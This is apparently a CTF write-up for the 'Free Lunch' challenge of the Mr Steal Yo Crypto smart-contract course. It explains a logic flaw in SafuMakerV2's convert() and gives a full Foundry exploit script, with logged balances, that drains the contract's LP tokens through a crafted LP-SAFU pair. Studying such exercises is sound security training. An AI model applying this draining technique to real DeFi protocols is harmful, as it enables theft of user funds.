This is the #4 challenge of Mr Steal Yo Crypto. I will try to explain how to find the vulnerability.
A set of challenges to learn offensive security of smart contracts. Featuring interesting challenges loosely (or directly) inspired by real-world exploits.
Created by @0xToshii
I used the foundry version for this CTF: mr-steal-yo-crypto-ctf-foundry
Free Lunch
SafuSwap has just launched their sexy new UniswapV2 fork.
It includes a SafuMakerV2 contract which is tasked with converting protocol trading fees to SAFU, its farm token, for later distribution to SAFU stakers.
You start with 100 USDC and 100 SAFU, and your task is to increase your balance of both tokens by at least 50x through draining SafuSwap’s funds.
Review of the contract
SafuMakerV2.sol
SafuMakerV2 is SafuSwap’s left hand and kinda a wizard. He can cook up SAFU from pretty much anything! This contract handles “serving up” rewards for xSAFU holders by trading tokens collected from fees. SafuSwap’s rewards are generated by swapping rewards to SAFU and sending to the bar address for distribution.
This is the only contract for this challenge. The only purpose of this contract is to swap any token into SAFU token. I will make a few comments for almost all the functions:
convert()
,convertMultiple()
: entry for calling_convert()
._swap()
,_toSafu
: Are used for swapping any token to SAFU token. I don’t see any issues with the implementation._convert()
: burn the LP token and call_convertStep()
for converting all tokens into SAFU. I don’t see any issues with the implementation._convertStep()
: I didn’t deep dive too much into this function. It doesn’t seem that there is anything strange. But I will do it if needed.
For the moment, I don’t have any idea about how to drain the pool. It doesn’t seem that there is something wrong with the protocol itself.
Exploit the vulnerability
I took some time to exploit this contract, it was the first time that I was confronted with a “logical” vulnerability instead of a basic attack vector.
At the beginning, I checked if any attack vectors that I know could be useful. However, I didn’t find anything except that with _convert()
we are swapping all the balance of a token into SAFU.
So I started to open my mind, like: Why would the vulnerability be only inside the protocol? As we can see in the test file, we are using UniswapV2 and the admin user is sending 1% of LP to the safuMaker contract. Maybe we could do something with this LP? At this moment an idea popped out of my mind. We know that the contract is swapping any token into SAFU token. Why not creating a pair LP(USDC-SAFU)-SAFU then:
- Send some LP of the new pair to safuMaker.
- Call the
convert(address(LP(USDC-SAFU)), address(SAFU))
function so that safuMaker burns the LP(LP(USDC-SAFU)-SAFU) and then swaps LP(USDC-SAFU) to SAFU. - Then we can withdraw our liquidity and get more LP(USDC-SAFU) compared to the beginning.
- Finally, withdraw liquidity by burning LP(USDC-SAFU) and obtain more USDC and SAFU from the beginning.
To be sure that it is possible, I checked the _convert()
function. The idea seems possible because at L97, the safuMaker contract says that he wants to sell all the balance of the token. So in our case, he wants to sell all his balance of LP(USDC-SAFU). This is pretty cool because the contract already has a big amount of LP.
Here is my solution.
/// solves the challenge
function testChallengeExploit()
public
{
vm.startPrank(attacker, attacker);
// implement solution here
//This time this will be not a vulnerability of the code but about the logic inside safuMaker
//First, we LP the pool USDC-SAFU
usdc.approve(address(safuRouter), type(uint).max);
safu.approve(address(safuRouter), type(uint).max);
safuRouter.addLiquidity(
address(usdc),
address(safu),
80e18,
80e18,
0,
0,
attacker,
block.timestamp
);
//LP safuPair = 80000000000000000000
// --getting the USDC-SAFU trading pair
safuPair = IUniswapV2Pair(safuFactory.getPair(address(usdc), address(safu)));
console.log("LP safuPair of attacker : ", safuPair.balanceOf(address(attacker)));
//Then we will create a new POOL (LP USDC-SAFU)-SAFU for our exploit
safuPair.approve(address(safuRouter), type(uint).max);
safuRouter.addLiquidity(
address(safuPair),
address(safu),
safuPair.balanceOf(attacker),
5e18,
0,
0,
address(attacker),
block.timestamp
);
//LP sifuPair = 19999999999999999000
// --getting the LP(USDC-SAFU)-SAFU trading pair
IUniswapV2Pair sifuPair = IUniswapV2Pair(safuFactory.getPair(address(safuPair), address(safu)));
console.log("LP sifuPair : ", sifuPair.balanceOf(address(attacker)));
(uint256 reserve0, uint256 reserve1, ) = sifuPair.getReserves();
console.log("reserve0 : ", reserve0, "reserve1 : ", reserve1);
//reserve0 : 5000000000000000000 reserve1 : 80000000000000000000
//Now, we will proceed with the exploit
//When we are calling convert() from safuMaker it will burn the lp of the pool and then convert the entire balance of one of the tokens into SAFU token
//That's the point, the ENTIRE balance and not the amount get from the burn of the LP due to L97-98 inside safuMaker.sol
//So if we send some LP of the sifuPair to safuMaker and then call convert()
//SafuMaker will burn the LP, he will get LP(USDC-SAFU) and SAFU token
//And then he will swap all the LP(USDC-SAFU) to SAFU with our pool sifuPair
//Because safuMaker directly calls the swap() function of univ2, there is no check about amountMin, for example
//At the end of the swap, safuMaker will get the 5e18 SAFU token of the pool sifuPair, but he will lose 10_000e18 of LP(USDC-SAFU)
//Now the sifuPair has almost none SAFU token and a lot of LP(USDC-SAFU)
//The attacker is the only LP of the sifuPair
//When removing liquidity, the attacker will get all the LP(USDC-SAFU)
//Then the attacker can remove liquidity of the safuPair and get USDC and SAFU
console.log("balance token SAFU of bar address of safuMaker : ", safu.balanceOf(address(0x1111111111111111111111111111111111111111)));
// = 0
console.log("LP safuPair of safuMaker: ", safuPair.balanceOf(address(safuMaker)));
// = 10000000000000000000000
sifuPair.transfer(address(safuMaker), 1e18); //don't care about the amount
safuMaker.convert(address(safuPair), address(safu)); //proceed to exploit
console.log("balance token SAFU of bar address of safuMaker : ", safu.balanceOf(address(0x1111111111111111111111111111111111111111)));
// = 4964079559099971064 , safuMaker got ~= 5e18
console.log("LP safuPair of safuMaker: ", safuPair.balanceOf(address(safuMaker)));
// = 0 , safuMaker loose all LP
(reserve0, reserve1, ) = sifuPair.getReserves();
console.log("reserve0 : ", reserve0, "reserve1 : ", reserve1);
// reserve0 : 35920440900028936 reserve1 : 10080000000000000000000
//remove liquidity to get SAFU and LP(USDC-SAFU)
sifuPair.approve(address(safuRouter), type(uint).max);
safuRouter.removeLiquidity(
address(safuPair),
address(safu),
sifuPair.balanceOf(attacker),
0,
0,
address(attacker),
block.timestamp
);
console.log("LP safuPair of attacker: ", safuPair.balanceOf(address(attacker)));
// LP safuPair of attacker: 10077497135616033822768
//remove liquidity to get SAFU and USDC
safuRouter.removeLiquidity(
address(usdc),
address(safu),
safuPair.balanceOf(attacker),
0,
0,
address(attacker),
block.timestamp
);
console.log("usdc attacker : ", usdc.balanceOf(address(attacker)));
// usdc attacker : 10097497135616033822768
console.log("safu attacker : ", safu.balanceOf(address(attacker)));
// safu attacker : 10092533047137887007949
vm.stopPrank();
validation();
}
This challenge was really cool. It allowed me to be more open-minded and not only focus on the protocol.
Acknowledgement
Thank you https://stermi.xyz/ for inspiring me to write articles on CTF ^^.